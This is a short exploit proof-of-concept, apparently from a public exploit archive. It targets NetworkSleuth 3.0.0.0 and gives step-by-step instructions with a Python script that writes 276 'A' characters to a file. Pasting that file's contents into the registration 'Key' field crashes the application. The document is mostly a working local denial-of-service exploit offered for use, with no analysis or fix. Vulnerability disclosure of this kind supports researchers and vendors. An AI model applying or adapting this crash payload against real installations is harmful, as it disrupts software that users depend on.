NetworkSleuth 3.0.0.0 - Key Denial of Service Exploit

# Exploit Title: NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested Version: 3.0.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python NetworkSleuth_3.0.0.0.py
# 2.- Open NetworkSleuth_3.0.0.0.txt and copy content to clipboard
# 3.- Open NetworkSleuth
# 4.- Register -> Enter Registration Code...
# 5.- Name: -> l4m5
# 6.- Paste ClipBoard on "Key:"
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 276
f = open ("NetworkSleuth_3.0.0.0.txt", "w")
f.write(buffer)
f.close()